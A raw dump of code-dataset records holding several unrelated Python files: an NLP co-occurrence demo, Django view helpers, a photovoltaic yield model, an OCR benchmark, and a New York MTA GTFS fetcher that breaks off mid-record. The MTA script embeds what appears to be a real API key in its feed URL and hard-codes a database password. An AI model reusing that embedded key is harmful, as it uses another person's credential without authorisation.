\n\n\n\n\n\n\n\n\n","sub_path":"scripts/addons_extern/toolplus_origin/origin_menu.py","file_name":"origin_menu.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"71307006","text":"import sys\nsys.path.append('/home/ats432/projects/Matsuzaki_Lab/scratch_NLP')\nimport numpy as np \nimport matplotlib.pyplot as plt\nfrom common.util import preprocess, create_co_matrix, cos_similarity, ppmi\n\ntext = 'You say goodbye and I say hello.'\n#コーパスの前処理\ncorpus, word_to_id, id_to_word = preprocess(text)\nprint(\"corpus:\\n{0}\".format(corpus), \"辞書:\\n{0}\".format(id_to_word), '-'*50, sep=\"\\n\")\n\n#共起行列の生成\nvocab_size = len(word_to_id)\nC = create_co_matrix(corpus, vocab_size)\nprint(\"共起行列:\\n{0}\".format(C), '-'*50, sep='\\n')\n\n#PPMI(相互情報量)\nW = ppmi(C)\n\n#SVD(特異値分解)\nU, S, V = np.linalg.svd(W)\n\nprint('共起行列:\\n{0}'.format(C[0]), '-'*50, sep='\\n')\nprint('PPMI行列:\\n{0}'.format(W[0]), '-'*50, sep='\\n')\nprint('SVD:\\n{0}'.format(U[0]), '-'*50, sep='\\n')\nprint('SVDの先頭の2要素:\\n{0}'.format(U[0, :2]), '-'*50, sep='\\n')\n\nfor word, word_id in word_to_id.items():\n plt.annotate(word, (U[word_id, 0], U[word_id, 1]))\n\nplt.scatter(U[:,0], U[:,1], alpha=0.5)\nplt.show()\n\n","sub_path":"ch02_countbase/count_method_small.py","file_name":"count_method_small.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"9950834","text":"from datetime import datetime\nfrom .models import Task\nimport calendar\n\nmy_date = datetime.today()\nhour = my_date.hour\n\n\ndef get_formatted_date():\n return calendar.day_name[my_date.weekday()] + \", \" + str(my_date.day) + \" \" + calendar.month_name[\n my_date.month] # pattern example: Wednesday, 4 September\n\n\ndef get_greeting():\n if 5 < hour < 12:\n welcome = \"Good morning\"\n elif 12 < hour < 18:\n welcome = \"Good afternoon\"\n else:\n welcome = \"Good evening\"\n return welcome\n\n\ndef get_detail_category(request, category):\n tasks = Task.objects.filter(done=False).filter(account__username=request.user.get_username()).all()\n done_tasks = Task.objects.filter(done=True).filter(account__username=request.user.get_username()).all()\n number_of_tasks = Task.objects.filter(done=False).filter(account__username=request.user.get_username()).all()\n\n if category != \"All Schedule\":\n tasks = tasks.filter(category__title=category).all()\n done_tasks = done_tasks.filter(category__title=category).all()\n number_of_tasks = number_of_tasks.filter(category__title=category).all()\n\n context = {\n \"tasks\": tasks,\n \"done_tasks\": done_tasks,\n \"number_of_tasks\": number_of_tasks.count(),\n \"category\": category,\n \"date\": get_formatted_date(),\n \"greeting\": get_greeting(),\n \"username\": request.user.get_username(),\n }\n return context\n","sub_path":"tasks/view_tools.py","file_name":"view_tools.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"177190184","text":"from __future__ import annotations\nimport urllib.request\n\n\nclass DownloaderMeta(type):\n\n _instance: Downloader = None\n \n def __call__(self) -> Downloader:\n if self._instance is None:\n self._instance = super().__call__()\n return self._instance\n \n \nclass Downloader(metaclass=DownloaderMeta):\n @staticmethod\n def get(url):\n with urllib.request.urlopen(url) as f:\n return f.read().decode('utf-8')\n\n\nif __name__ == '__main__':\n d1 = Downloader()\n d2 = Downloader()\n \n print(id(d1) == id(d2))\n\n html = d1.get('http://example.com')\n print(html)\n","sub_path":"singleton_example.py","file_name":"singleton_example.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"8142691","text":"\"\"\"\n==================================================\nphotovoltaic\n==================================================\n\n\"\"\"\n\n\nfrom __future__ import division\n\nfrom math import *\n\nimport numpy as np\nimport pandas as pd\n\nfrom cea.technologies.solar.solar_collector import optimal_angle_and_tilt, calc_groups, calc_incident_angle_beam\nfrom cea.utilities import epwreader\nfrom cea.utilities import solar_equations\n\n__author__ = \"Jimeno A. Fonseca\"\n__copyright__ = \"Copyright 2015, Architecture and Building Systems - ETH Zurich\"\n__credits__ = [\"Jimeno A. Fonseca\"]\n__license__ = \"MIT\"\n__version__ = \"0.1\"\n__maintainer__ = \"Daren Thomas\"\n__email__ = \"cea@arch.ethz.ch\"\n__status__ = \"Production\"\n\n\"\"\"\n============================\nPV electricity generation\n============================\n\n\"\"\"\n\ndef calc_PV(locator, sensors_data, radiation, latitude, longitude, year, gv, weather_path):\n\n # weather data\n weather_data = epwreader.epw_reader(weather_path)\n\n # solar properties\n g, Sz, Az, ha, trr_mean, worst_sh, worst_Az = solar_equations.calc_sun_properties(latitude, longitude, weather_data,\n gv)\n\n # read radiation file\n hourly_data = pd.read_csv(radiation)\n\n # get only datapoints with production beyond min_production\n Max_Isol = hourly_data.total.max()\n Min_Isol = Max_Isol * gv.min_production # 80% of the local average maximum in the area\n sensors_data_clean = sensors_data[sensors_data[\"total\"] > Min_Isol]\n radiation_clean = radiation.loc[radiation['sensor_id'].isin(sensors_data_clean.sensor_id)]\n\n # get only datapoints with aminimum 50 W/m2 of radiation for energy production\n radiation_clean[radiation_clean[:] <= 50] = 0\n\n # calculate optimal angle and tilt for panels\n optimal_angle_and_tilt(sensors_data, latitude, worst_sh, worst_Az, trr_mean, gv.grid_side,\n gv.module_lenght_PV, gv.angle_north, Min_Isol, Max_Isol)\n\n Number_groups, hourlydata_groups, number_points, prop_observers = calc_groups(radiation_clean, sensors_data_clean)\n\n results, Final = Calc_pv_generation(gv.type_PVpanel, hourlydata_groups, Number_groups, number_points,\n prop_observers, weather_data,g, Sz, Az, ha, latitude, gv.misc_losses)\n\n Final.to_csv(locator.PV_result(), index=True, float_format='%.2f')\n return\n\ndef Calc_pv_generation(type_panel, hourly_radiation, Number_groups, number_points, prop_observers, weather_data,\n g, Sz, Az, ha, latitude, misc_losses):\n\n\n lat = radians(latitude)\n g_vector = np.radians(g)\n ha_vector = np.radians(ha)\n Sz_vector = np.radians(Sz)\n Az_vector = np.radians(Az)\n result = list(range(Number_groups))\n areagroups = list(range(Number_groups))\n Sum_PV = np.zeros(8760)\n\n n = 1.526 #refractive index of galss\n Pg = 0.2 # ground reflectance\n K = 0.4 # extinction coefficien\n eff_nom,NOCT,Bref,a0,a1,a2,a3,a4,L = calc_properties_PV(type_panel)\n\n for group in range(Number_groups):\n teta_z = prop_observers.loc[group,'aspect'] #azimuth of paneles of group\n areagroup = prop_observers.loc[group,'area_netpv']*number_points[group]\n tilt_angle = prop_observers.loc[group,'slope'] #tilt angle of panels\n radiation = pd.DataFrame({'I_sol':hourly_radiation[group]}) #choose vector with all values of Isol\n radiation['I_diffuse'] = weather_data.ratio_diffhout*radiation.I_sol #calculate diffuse radiation\n radiation['I_direct'] = radiation['I_sol'] - radiation['I_diffuse'] #direct radaition\n\n #to radians of properties - solar position and tilt angle\n tilt = radians(tilt_angle) #slope of panel\n teta_z = radians(teta_z) #azimuth of panel\n\n #calculate angles necesary\n teta_vector = np.vectorize(calc_incident_angle_beam)(g_vector, lat, ha_vector, tilt, teta_z)\n teta_ed, teta_eG = Calc_diffuseground_comp(tilt)\n\n results = np.vectorize(Calc_Sm_PV)(weather_data.drybulb_C,radiation.I_sol, radiation.I_direct, radiation.I_diffuse, tilt,\n Sz_vector, teta_vector, teta_ed, teta_eG,\n n, Pg, K,NOCT,a0,a1,a2,a3,a4,L)\n\n\n result[group] = np.vectorize(Calc_PV_power)(results[0], results[1], eff_nom, areagroup, Bref,misc_losses)\n areagroups[group] = areagroup\n\n Sum_PV = Sum_PV + result[group]\n\n Final = pd.DataFrame({'PV_kWh':Sum_PV,'Area':sum(areagroups)})\n return result, Final\n\n\ndef Calc_diffuseground_comp(tilt_radians):\n tilt = degrees(tilt_radians)\n teta_ed = 59.68 - 0.1388 * tilt + 0.001497 * tilt ** 2 # angle in degrees\n teta_eG = 90 - 0.5788 * tilt + 0.002693 * tilt ** 2 # angle in degrees\n return radians(teta_ed), radians(teta_eG)\n\ndef Calc_Sm_PV(te, I_sol, I_direct, I_diffuse, tilt, Sz, teta, tetad, tetaeg,\n n, Pg, K, NOCT, a0, a1, a2, a3, a4, L): # ha is local solar time\n\n\n # calcualte ratio of beam radiation on a tilted plane\n # to avoid inconvergence when I_sol = 0\n lim1 = radians(0)\n lim2 = radians(90)\n lim3 = radians(89.999)\n if teta < lim1:\n teta = min(lim3, abs(teta))\n if teta >= lim2:\n teta = lim3\n if Sz < lim1:\n Sz = min(lim3, abs(Sz))\n if Sz >= lim2:\n Sz = lim3\n Rb = cos(teta) / cos(Sz) # teta_z is Zenith angle\n\n # calculate the specific air mass\n m = 1 / cos(Sz)\n M = a0 + a1 * m + a2 * m ** 2 + a3 * m ** 3 + a4 * m ** 4\n\n # angle refractive (aproximation accrding to Soteris A.)\n teta_r = asin(sin(teta) / n) # in radians\n Ta_n = exp(-K * L) * (1 - ((n - 1) / (n + 1)) ** 2)\n # calculate parameters of anlge modifier #first for the direct radiation\n if teta < 1.5707: # 90 degrees in radians\n part1 = teta_r + teta\n part2 = teta_r - teta\n Ta_B = exp((-K * L) / cos(teta_r)) * (\n 1 - 0.5 * ((sin(part2) ** 2) / (sin(part1) ** 2) + (tan(part2) ** 2) / (tan(part1) ** 2)))\n kteta_B = Ta_B / Ta_n\n else:\n kteta_B = 0\n\n # angle refractive for diffuse radiation\n teta_r = asin(sin(tetad) / n) # in radians\n part1 = teta_r + tetad\n part2 = teta_r - tetad\n Ta_D = exp((-K * L) / cos(teta_r)) * (\n 1 - 0.5 * ((sin(part2) ** 2) / (sin(part1) ** 2) + (tan(part2) ** 2) / (tan(part1) ** 2)))\n kteta_D = Ta_D / Ta_n\n\n # angle refractive for global radiatoon\n teta_r = asin(sin(tetaeg) / n) # in radians\n part1 = teta_r + tetaeg\n part2 = teta_r - tetaeg\n Ta_eG = exp((-K * L) / cos(teta_r)) * (\n 1 - 0.5 * ((sin(part2) ** 2) / (sin(part1) ** 2) + (tan(part2) ** 2) / (tan(part1) ** 2)))\n kteta_eG = Ta_eG / Ta_n\n\n # absorbed solar radiation\n S = M * Ta_n * (kteta_B * I_direct * Rb + kteta_D * I_diffuse * (1 + cos(tilt)) / 2 + kteta_eG * I_sol * Pg * (\n 1 - cos(tilt)) / 2) # in W\n if S <= 0: # when points are 0 and too much losses\n S = 0\n # temperature of cell\n Tcell = te + S * (NOCT - 20) / (800)\n\n return S, Tcell\n\ndef Calc_PV_power(S, Tcell, eff_nom, areagroup, Bref,misc_losses):\n P = eff_nom*areagroup*S*(1-Bref*(Tcell-25))*(1-misc_losses)/1000 # Osterwald, 1986) in kWatts\n return P\n\n\"\"\"\n============================\nproperties of module\n============================\n\n\"\"\"\n\ndef calc_properties_PV(type_PVpanel):\n if type_PVpanel == 1:# # assuming only monocrystalline panels.\n eff_nom = 0.16 # GTM 2014\n NOCT = 43.5 # Fanney et al.,\n Bref = 0.0035 # Fuentes et al.,Luque and Hegedus, 2003).\n a0 = 0.935823\n a1 = 0.054289\n a2 = -0.008677\n a3 = 0.000527\n a4 = -0.000011\n L = 0.002 # glazing tickness\n if type_PVpanel == 2:# # polycristalline\n eff_nom = 0.15 # GTM 2014\n NOCT = 43.9 # Fanney et al.,\n Bref = 0.0044\n a0 = 0.918093\n a1 = 0.086257\n a2 = -0.024459\n a3 = 0.002816\n a4 = -0.000126\n L = 0.002 # glazing tickness\n if type_PVpanel == 3:# # amorphous\n eff_nom = 0.08 # GTM 2014\n NOCT = 38.1 # Fanney et al.,\n Bref = 0.0026\n a0 = 1.10044085\n a1 = -0.06142323\n a2 = -0.00442732\n a3 = 0.000631504\n a4 = -0.000019184\n L = 0.0002 # glazing tickness\n\n return eff_nom,NOCT,Bref,a0,a1,a2,a3,a4,L\n\n# optimal angle and tilt\n\ndef optimal_angle_and_tilt(observers_all, latitude, worst_sh, worst_Az, transmittivity,\n grid_side, module_lenght, angle_north, Min_Isol, Max_Isol):\n # FIXME [NOTE]: this function is reserved for the calculation in photovoltaic_arcgis.py\n def Calc_optimal_angle(teta_z, latitude, transmissivity):\n if transmissivity <= 0.15:\n gKt = 0.977\n elif 0.15 < transmissivity <= 0.7:\n gKt = 1.237 - 1.361 * transmissivity\n else:\n gKt = 0.273\n Tad = 0.98\n Tar = 0.97\n Pg = 0.2 # ground reflectance of 0.2\n l = radians(latitude)\n a = radians(teta_z) # this is surface azimuth\n b = atan((cos(a) * tan(l)) * (1 / (1 + ((Tad * gKt - Tar * Pg) / (2 * (1 - gKt))))))\n return degrees(b)\n\n def Calc_optimal_spacing(Sh, Az, tilt_angle, module_lenght):\n h = module_lenght * sin(radians(tilt_angle))\n D1 = h / tan(radians(Sh))\n D = max(D1 * cos(radians(180 - Az)), D1 * cos(radians(Az - 180)))\n return D\n\n def Calc_categoriesroof(teta_z, B, GB, Max_Isol):\n if -122.5 < teta_z <= -67:\n CATteta_z = 1\n elif -67 < teta_z <= -22.5:\n CATteta_z = 3\n elif -22.5 < teta_z <= 22.5:\n CATteta_z = 5\n elif 22.5 < teta_z <= 67:\n CATteta_z = 4\n elif 67 <= teta_z <= 122.5:\n CATteta_z = 2\n\n if 0 < B <= 5:\n CATB = 1 # flat roof\n elif 5 < B <= 15:\n CATB = 2 # tilted 25 degrees\n elif 15 < B <= 25:\n CATB = 3 # tilted 25 degrees\n elif 25 < B <= 40:\n CATB = 4 # tilted 25 degrees\n elif 40 < B <= 60:\n CATB = 5 # tilted 25 degrees\n elif B > 60:\n CATB = 6 # tilted 25 degrees\n\n GB_percent = GB / Max_Isol\n if 0 < GB_percent <= 0.25:\n CATGB = 1 # flat roof\n elif 0.25 < GB_percent <= 0.50:\n CATGB = 2\n elif 0.50 < GB_percent <= 0.75:\n CATGB = 3\n elif 0.75 < GB_percent <= 0.90:\n CATGB = 4\n elif 0.90 < GB_percent <= 1:\n CATGB = 5\n\n return CATB, CATGB, CATteta_z\n\n # calculate values for flat roofs Slope < 5 degrees.\n optimal_angle_flat = Calc_optimal_angle(0, latitude, transmittivity)\n optimal_spacing_flat = Calc_optimal_spacing(worst_sh, worst_Az, optimal_angle_flat, module_lenght)\n arcpy.AddField_management(observers_all, \"array_s\", \"DOUBLE\")\n arcpy.AddField_management(observers_all, \"area_netpv\", \"DOUBLE\")\n arcpy.AddField_management(observers_all, \"CATB\", \"SHORT\")\n arcpy.AddField_management(observers_all, \"CATGB\", \"SHORT\")\n arcpy.AddField_management(observers_all, \"CATteta_z\", \"SHORT\")\n fields = ('aspect', 'slope', 'GB', \"array_s\", \"area_netpv\", \"CATB\", \"CATGB\", \"CATteta_z\")\n # go inside the database and perform the changes\n with arcpy.da.UpdateCursor(observers_all, fields) as cursor:\n for row in cursor:\n aspect = row[0]\n slope = row[1]\n if slope > 5: # no t a flat roof.\n B = slope\n array_s = 0\n if 180 <= aspect < 360: # convert the aspect of arcgis to azimuth\n teta_z = aspect - 180\n elif 0 < aspect < 180:\n teta_z = aspect - 180 # negative in the east band\n elif aspect == 0 or aspect == 360:\n teta_z = 180\n if -angle_north <= teta_z <= angle_north and row[2] > Min_Isol:\n row[0] = teta_z\n row[1] = B\n row[3] = array_s\n row[4] = (grid_side - array_s) / cos(radians(abs(B))) * grid_side\n row[5], row[6], row[7] = Calc_categoriesroof(teta_z, B, row[2], Max_Isol)\n cursor.updateRow(row)\n else:\n cursor.deleteRow()\n else:\n teta_z = 0 # flat surface, all panels will be oriented towards south # optimal angle in degrees\n B = optimal_angle_flat\n array_s = optimal_spacing_flat\n if row[2] > Min_Isol:\n row[0] = teta_z\n row[1] = B\n row[3] = array_s\n row[4] = (grid_side - array_s) / cos(radians(abs(B))) * grid_side\n row[5], row[6], row[7] = Calc_categoriesroof(teta_z, B, row[2], Max_Isol)\n cursor.updateRow(row)\n else:\n cursor.deleteRow()\n\n\n\n\"\"\"\n============================\ninvestment and maintenance costs\n============================\n\n\"\"\"\n\n\n\ndef calc_Cinv_PV(P_peak):\n \"\"\"\n P_peak in kW\n result in CHF\n Lifetime 20 y\n \"\"\"\n if P_peak < 10:\n InvCa = 3500.07 * P_peak /20\n else:\n InvCa = 2500.07 * P_peak /20\n\n return InvCa # [CHF/y]\n\n\"\"\"\n============================\ntest\n============================\n\n\"\"\"\n\ndef test_photovoltaic():\n import cea.inputlocator\n locator = cea.inputlocator.InputLocator(r'C:\\reference-case\\baseline')\n # for the interface, the user should pick a file out of of those in ...DB/Weather/...\n weather_path = locator.get_default_weather()\n radiation = locator.get_radiation()\n gv = cea.globalvar.GlobalVariables()\n\n calc_PV(locator=locator, radiation = radiation, latitude=46.95240555555556, longitude=7.439583333333333, year=2014, gv=gv,\n weather_path=weather_path)\n\n\nif __name__ == '__main__':\n test_photovoltaic()","sub_path":"cea/technologies/solar/photovoltaic_arcgis.py","file_name":"photovoltaic_arcgis.py","file_ext":"py","file_size_in_byte":13966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"524548582","text":"# -*- coding:utf-8 -*-\nimport sys\nfrom math import degrees, atan2, fabs, sin, radians, cos\n\nimport cv2\nimport os\nimport time\nimport shutil\nfrom glob import glob\nimport numpy as np\nimport tensorflow as tf\n\n# init session\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n# gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.4)\n# config = tf.ConfigProto(allow_soft_placement=True, gpu_options=gpu_options)\n# sess = tf.Session(config=config)\n\n# Root directory of the project\nROOT_DIR = os.path.abspath(\"../\")\n\n# Import\nsys.path.append(ROOT_DIR)\nfrom network import keys, densenet\nfrom keras.layers import Input\nfrom keras.models import Model\n\n\nclass Config:\n SCALE = 900 # 600\n MAX_SCALE = 1500 # 1200\n TEXT_PROPOSALS_WIDTH = 0 # 16\n MIN_NUM_PROPOSALS = 0 # 2\n MIN_RATIO = 0.01 # 0.5\n LINE_MIN_SCORE = 0.6 # 0.9\n MAX_HORIZONTAL_GAP = 30 # 50\n TEXT_PROPOSALS_MIN_SCORE = 0.7 # 0.7\n TEXT_PROPOSALS_NMS_THRESH = 0.3 # 0.2\n TEXT_LINE_NMS_THRESH = 0.3\n MIN_V_OVERLAPS = 0.6 # 0.7\n MIN_SIZE_SIM = 0.6 # 0.7\n\n\ncharacters = keys.alphabet[:]\ncharacters = characters[1:] + u'卍'\nnclass = len(characters)\n\ninput = Input(shape=(32, None, 1), name='the_input')\ny_pred = densenet.dense_cnn(input, nclass)\nbasemodel = Model(inputs=input, outputs=y_pred)\n\nmodelPath = os.path.join(os.getcwd(), '/home/admin/github/chinese_ocr_keras/train/models/weights-densenet-79-2.05.h5')\nif os.path.exists(modelPath):\n basemodel.load_weights(modelPath)\n\n\ndef decode(pred):\n char_list = []\n pred_text = pred.argmax(axis=2)[0]\n for i in range(len(pred_text)):\n if pred_text[i] != nclass - 1 and (\n (not (i > 0 and pred_text[i] == pred_text[i - 1])) or (i > 1 and pred_text[i] == pred_text[i - 2])):\n char_list.append(characters[pred_text[i]])\n return u''.join(char_list)\n\n\ndef predict(img):\n height, width = img.shape[:2]\n scale = height * 1.0 / 32\n width = int(width / scale)\n\n # img = img.resize([width, 32], Image.ANTIALIAS)\n img = cv2.resize(img, (width, 32), interpolation=cv2.INTER_LANCZOS4)\n\n '''\n img_array = np.array(img.convert('1'))\n boundary_array = np.concatenate((img_array[0, :], img_array[:, width - 1], img_array[31, :], img_array[:, 0]), axis=0)\n if np.median(boundary_array) == 0: # 将黑底白字转换为白底黑字\n img = ImageOps.invert(img)\n '''\n\n img = np.array(img).astype(np.float32) / 255.0 - 0.5\n\n X = img.reshape([1, 32, width, 1])\n\n y_pred = basemodel.predict(X)\n y_pred = y_pred[:, :, :]\n\n # out = K.get_value(K.ctc_decode(y_pred, input_length=np.ones(y_pred.shape[0]) * y_pred.shape[1])[0][0])[:, :]\n # out = u''.join([characters[x] for x in out[0]])\n out = decode(y_pred)\n\n return out\n\n\ndef resize_im(im, scale, max_scale=None):\n f = float(scale) / min(im.shape[0], im.shape[1])\n if max_scale != None and f * max(im.shape[0], im.shape[1]) > max_scale:\n f = float(max_scale) / max(im.shape[0], im.shape[1])\n return cv2.resize(im, None, None, fx=f, fy=f, interpolation=cv2.INTER_LANCZOS4), f\n\n\ndef dumpRotateImage(img, degree, pt1, pt2, pt3, pt4):\n height, width = img.shape[:2]\n heightNew = int(width * fabs(sin(radians(degree))) + height * fabs(cos(radians(degree))))\n widthNew = int(height * fabs(sin(radians(degree))) + width * fabs(cos(radians(degree))))\n matRotation = cv2.getRotationMatrix2D((width // 2, height // 2), degree, 1)\n matRotation[0, 2] += (widthNew - width) // 2\n matRotation[1, 2] += (heightNew - height) // 2\n imgRotation = cv2.warpAffine(img, matRotation, (widthNew, heightNew), borderValue=(255, 255, 255))\n pt1 = list(pt1)\n pt3 = list(pt3)\n\n [[pt1[0]], [pt1[1]]] = np.dot(matRotation, np.array([[pt1[0]], [pt1[1]], [1]]))\n [[pt3[0]], [pt3[1]]] = np.dot(matRotation, np.array([[pt3[0]], [pt3[1]], [1]]))\n ydim, xdim = imgRotation.shape[:2]\n imgOut = imgRotation[max(1, int(pt1[1])): min(ydim - 1, int(pt3[1])),\n max(1, int(pt1[0])): min(xdim - 1, int(pt3[0]))]\n\n return imgOut\n\n\ndef charRec(img, text_recs, adjust=False):\n \"\"\"\n 加载OCR模型,进行字符识别\n \"\"\"\n results = {}\n xDim, yDim = img.shape[1], img.shape[0]\n\n for index, rec in enumerate(text_recs):\n # xlength = int((rec[6] - rec[0]) * 0.1)\n # ylength = int((rec[7] - rec[1]) * 0.2)\n # if adjust:\n # pt1 = (max(1, rec[0] - xlength), max(1, rec[1] - ylength))\n # pt2 = (rec[2], rec[3])\n # pt3 = (min(rec[6] + xlength, xDim - 2), min(yDim - 2, rec[7] + ylength))\n # pt4 = (rec[4], rec[5])\n # else:\n # pt1 = (max(1, rec[0]), max(1, rec[1]))\n # pt2 = (rec[2], rec[3])\n # pt3 = (min(rec[6], xDim - 2), min(yDim - 2, rec[7]))\n # pt4 = (rec[4], rec[5])\n\n # degree = degrees(atan2(pt2[1] - pt1[1], pt2[0] - pt1[0])) # 图像倾斜角度\n #\n # partImg = dumpRotateImage(img, degree, pt1, pt2, pt3, pt4)\n #\n # if partImg.shape[0] < 1 or partImg.shape[1] < 1 or partImg.shape[0] > partImg.shape[1]: # 过滤异常图片\n # continue\n\n image = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n text = predict(image)\n\n if len(text) > 0:\n results[index] = [rec]\n results[index].append(text) # 识别文字\n\n return results\n\n\nif __name__ == '__main__':\n # define test images dir\n # image_files = glob('./datasets/plate/*.jpg')\n result_dir = './test_result'\n if os.path.exists(result_dir):\n shutil.rmtree(result_dir)\n os.mkdir(result_dir)\n\n train_set = open('../datasets/license_plate_ocr/new_train.txt').readlines()\n train_set = [d.split(' ')[0] for d in train_set]\n test_set = open('../datasets/license_plate_ocr/new_val.txt').readlines()\n test_set = [d.split(' ')[0] for d in test_set]\n\n IMAGE_PATH = '../datasets/plate'\n # loop over all images\n # for image_file in sorted(image_files):\n for p in os.listdir(IMAGE_PATH):\n stat = ''\n if p in train_set:\n stat = 'train'\n elif p in test_set:\n stat = 'test'\n else:\n continue\n\n image_file = IMAGE_PATH + '/' + p\n img = cv2.imread(image_file)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img = cv2.resize(img, (1000, 320), interpolation=cv2.INTER_LANCZOS4)\n t = time.time()\n\n # arrange box from top to bottom, from left to right\n img, scale = resize_im(img, scale=Config.SCALE, max_scale=Config.MAX_SCALE)\n h, w = img.shape[:2]\n text_recs = [np.array([0, 0, w, 0, 0, h, w, h])]\n # load OCR model and recognize\n result = charRec(img, text_recs, False)\n\n gt = image_file.split('/')[-1].split('_')[0]\n place = image_file.split('/')[-1].split('_')[-1].strip('.jpg')\n\n count = 0\n for i, (g, r) in enumerate(zip(gt, result[0][1])):\n if g == r:\n count += 1\n\n print('{},{},{},{},{},{}'.format(stat, place, gt, result[0][1], count, time.time() - t))\n # # # output result\n # print(\"Mission complete, it took {:.3f}s\".format(time.time() - t))\n # print(\"\\n{} Recognition Result:\\n\".format(image_file.split('/')[-1]))\n # for key in result:\n # print(result[key][1])\n","sub_path":"train/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":7306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"444693431","text":"import numpy as np\nfrom scipy import sparse\nimport csv\nimport sys\n\n## Print out the least frequent word list\n\nif len(sys.argv) < 2:\n sys.exit(\"usage: python print_least_freq_words.py []\")\n \n#bow_file = '/Users/jihyun/Documents/jihyun/research/topicmodel/data/subset/bow.sparse.txt'\n#output_file = '/Users/jihyun/Documents/jihyun/research/topicmodel/data/subset/words_lt_15.txt'\nbow_file = sys.argv[1]\noutput_file = sys.argv[2]\n\nif len(sys.argv) > 3:\n wordcnt_limit = 10\nelse:\n wordcnt_limit = sys.argv[3]\n\n\nn_docs, n_words= 125236, 86603\n\nbow = sparse.lil_matrix( (n_docs,n_words), dtype=int)\n\ncsvreader = csv.reader(open(bow_file), delimiter=' ')\nfor line in csvreader:\n row, col, val = map(int, line)\n bow[row,col] = val\n\nsumwords = np.array(bow.sum(axis=0))[0]\n# wordidx_sortedbyfreq = np.argsort(sumwords)\n\n# Words that appeared less than 15 times\nword_idx = np.where( (sumwords < wordcnt_limit) == True )[0]\n\nf = open( output_file, 'w')\nfor word in word_idx:\n f.write(str(word)+'\\n')\n\nf.close()\n","sub_path":"datascripts/print_least_freq_words.py","file_name":"print_least_freq_words.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"514976158","text":"############# Author: Pragnesh K R V ###################################\n######## New York MTA mass live data fetch #############################\nfrom __future__ import absolute_import, print_function, unicode_literals\nfrom google.transit import gtfs_realtime_pb2\nimport urllib\nimport psycopg2\nimport contextlib\nimport time\nimport sys\nfrom optparse import OptionParser\nfrom psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT\nfrom collections import Counter\nfrom streamparse.bolt import Bolt\n\n@contextlib.contextmanager\ndef timer(name=\"duration\"):\n 'Utility function for timing execution'\n start=time.time()\n yield\n duration=time.time()-start\n print(\"{0}: {1} second(s)\".format(name,duration))\ndef is_number(s):\n try:\n complex(s) # for int, long. float and complex\n except ValueError:\n return False\n return True\nclass gtfs_mtafetch():\n def initialize(self):\n self.counts = Counter()\n self.fetch_counts = Counter()\n self.tuc = []\n # Connect to the database\n conn = psycopg2.connect(database=\"postgres\", user=\"postgres\", password=\"pass\", host=\"localhost\", port=\"5432\")\n #Create the Database\n try:\n # CREATE DATABASE can't run inside a transaction\n conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n cur = conn.cursor()\n cur.execute(\"CREATE DATABASE gtfs_count\")\n conn.close()\n except psycopg2.Error as e:\n conn.rollback()\n else:\n conn.commit()\n conn.close()\n #Connecting to gtfs_count\n conn = psycopg2.connect(database=\"gtfs_count\", user=\"postgres\", password=\"pass\", host=\"localhost\", port=\"5432\")\n #Create a Table\n #The first step is to create a cursor.\n try:\n cur = conn.cursor()\n cur.execute(\n '''CREATE TABLE gtfs_tuc\n (\n tstamp BIGINT,\n entity_id INTEGER,\n trip_id VARCHAR(20),\n start_date INTEGER,\n route_id VARCHAR (5),\n stop_id VARCHAR (4),\n stop_sequence VARCHAR (10),\n arrival_time BIGINT,\n arrival_delay INTEGER,\n departure_time BIGINT,\n departure_delay INTEGER,\n schedule_relationship VARCHAR (10),\n PRIMARY KEY (tstamp, entity_id, trip_id, start_date, route_id, stop_id)) \n ;''')\n cur.execute(\n '''CREATE TABLE gtfs_alerts\n (\n tstamp BIGINT,\n entity_id INTEGER,\n trip_id VARCHAR (20),\n route_id VARCHAR (5),\n cause VARCHAR (20),\n effect VARCHAR (20),\n txt VARCHAR (20), PRIMARY KEY (tstamp, entity_id, trip_id, route_id) )\n ;''')\n cur.execute(\n '''CREATE TABLE gtfs_vehicles\n (\n tstamp BIGINT,\n entity_id INTEGER,\n trip_id VARCHAR (20),\n start_date INTEGER,\n route_id VARCHAR (5),\n vehicle VARCHAR (5),\n position_lat real,\n position_long real,\n current_stop_sequence VARCHAR (10),\n stop_id VARCHAR (4),\n current_status INTEGER,\n vehtstamp BIGINT,\n congestion_level INTEGER,\n occupancy_status INTEGER,\n PRIMARY KEY (tstamp, entity_id, trip_id) )\n ;''')\n except psycopg2.Error as e:\n conn.rollback()\n print('DB table creation failure')\n print(e.pgerror)\n print(e.diag.message_detail)\n else:\n conn.commit()\n print('success')\n cur.close()\n self.conn = conn\n def process(self):\n# word = tup.values[0]\n# counts[\"word\"] += 1\n# emit([word, self.counts[word]])\n# self.log('%s: %d' % (word, self.counts[word]))\n #Connecting to gtfs_count\n conn = psycopg2.connect(database=\"gtfs_count\", user=\"postgres\", password=\"pass\", host=\"localhost\", port=\"5432\")\n cur1 = self.conn.cursor()\n feed = gtfs_realtime_pb2.FeedMessage()\n response = urllib.urlopen('http://datamine.mta.info/mta_esi.php?key=71be30927bb73971710696ba3f1f6a0b&feed_id=1')\n feed.ParseFromString(response.read())\n for entity in feed.entity:\n tuc_list = []\n if entity.HasField('trip_update'):\n tuc = entity.trip_update\n self.tuc = [\n {\n 'tstamp': feed.header.timestamp,\n 'entity_id': entity.id,\n 'trip_id' : tuc.trip.trip_id,\n 